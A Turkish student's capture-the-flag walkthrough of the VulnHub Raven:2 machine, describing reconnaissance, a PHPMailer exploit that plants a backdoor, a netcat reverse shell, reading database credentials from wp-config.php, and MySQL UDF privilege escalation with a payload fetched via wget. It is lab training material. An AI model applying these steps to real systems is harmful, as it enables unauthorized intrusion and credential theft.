Raven-2- ctf

Raven: 2 ~ VulnHub

Merhabalar bugun sizlerle Raven2 ctfini çözeceğiz öncelikle ctf’e başlamadan öncelikle yukarda verdiğim linkten sanal makineyi indirip çalıştırmamız gerekmektedir. Çalıştırdıktan sonra linux’ımız üzerinden terminalimizi açıp:

arp-scan -l

bu komut yerel ağımızdaki cihazları arp (address resolution protocol) kullanarak tarar.

-l komutu zaten gördüğümüz gibi local ağın yerel ip lerini otomatik olarak tüm cihazları tarar.

Çıkan ip’leri taramak için nmap ile açık portalarına bakalım. Ve çıkan iplere bakıyoruz.

nmap -sC -sV -A -p- İP

tcp open olduğunu görünce siteyi deniyorum. Ve açılıyor:

Bir web sitesi bulduğum an contact kısımları gibi dizileri bulmak login olmak mantıklı olsa da wapalayzer ile wordpress olduğunu biliyoruz ve burdan wpscan kullanarak detaylı bakabiliriz. Ama ben bir web sitesi bulduğumda detaylı bir şekilde dizinlere bakmak için dirbuster kullanıyorum biraz gezindikten sonra site konusunda daha çok fikrim olacağını düşünerek.

200 ok olan sayfalarda gezindiğimde

Sitelerde gezinmeye devam edelim wordpress’te manuel olarak da baksam ilk wp-admin , wp-content , wp-setting gibi dizinlerde aramalar yapmam gerektiğini düşünüyorum ve 200 ok ve açılan uploads dizinine bakalım.

Önüme flag tak diye düştü ben de beklemiyordum bulduğumda :D

tamamdır heycana kapılmadan kritik dizinlere geçelim gezinirken gördüğüm birkaç path’e bakalım.

Açılan sayfalara baktığımda contact kısmı dikkat çekiyor backend’de de doğru düzgün tek çalışan sayfa olabilir wordpress login admin tarzı sayfalar haricinde.

Kodlara baktığımızda hep php mailer gözüküyor kodlara baktığımızda baya iş görüyor bu sistem.

Versiyonun da versiyon olduğunu düşündüm deneme yani birazcık.

versiyonunu biliyoruz ve php mailer olduğunu biliyoruz bi bakalım o zaman exploiti var mı?

aldığımız exploiti indirelim…

bunu bi editlememiz gerekiyor çalıştırınca bizden yanıt almıyor hadi editleyelim:

editleyeceğimiz alanlar bu alanlar düzeltelim.

Biraz farketmesi zor olmuştu ama chatgpt sağolsun ve kaynak dosyalarına baktığımızda coding:#utf-8 ekledik.

birinci bölüme. 1. bölüm sığmadığı için en yukarı koyacağız

2. bölüme geldiğimizde dizini yazıyoruz ve contact bölümünü ekliyoruz http://site/contact

3. bölümde ise backdoor oluşturacağımız yere geçelim oraya girdiğimizde olacaktır ben names.php diye ekliyorum.

4. bölüme geldik backdoor.php nin tam path’i nerde olduğunu bilmiyoruz vendor dizinine tekrar bakalım bir şey çıkar mı diye

Bir taşla 2 kuş :D.

Şimdi vendor kısmını çıkartacağız çünkü bize gördüğümüzden öncesi lazımdı ve hallettik yani

/var/www/html/names.php

5. alana yapıştırıyoruz

şimdi burdaki ifconfig ile kendi ip’nizi yazıp tamamlıyoruz.

artık python3 ile çalıştıralım bir yandan da

nc -lvnp 444

burdan exploit ettik girelim

:)

cd ..

cd.. diyerek geziniyoruz

sonra cat flag2.txt

Biraz daha araştırdıktan sonra mysql şifresini /var/www/html/wordpress/wp-config.php içinde bulabiliyoruz.

/tmp dizinine geçelim ve ardından SQL veritabanına giriş yapalım

searchsploit’ten exploitlerine bakalım versiyon için

1518.c’nin dediği dosyaya göre talimatı takip edicez. Yani sonra get1518.so dosya açacağız, bu yüzden aşağıdaki komutlarla onu makinemizden kurbana ileticez.

sudo python -m SimpleHTTPServer 80 (saldırgan)

WGET http://ip/1518.so. (kurban)

bağlandık)

mysql -u root -p

touch /tmp/shell find /tmp -name shell -exec /bin/sh \;

yetkimiz yükseldi.

şimdi dizinlerde gezindiğimizde /root altında flag4.txt ‘yi bulduk :)

Siber güvenlikte kendini geliştirmeye çalışan bir öğrenciyim. eleştiri ,öneriniz ve düzeltmeleriniz benim için çok önemli lütfen linkedin adresimden bana ulaşınız . İyi okumalar.

(7) Ege Serep | LinkedIn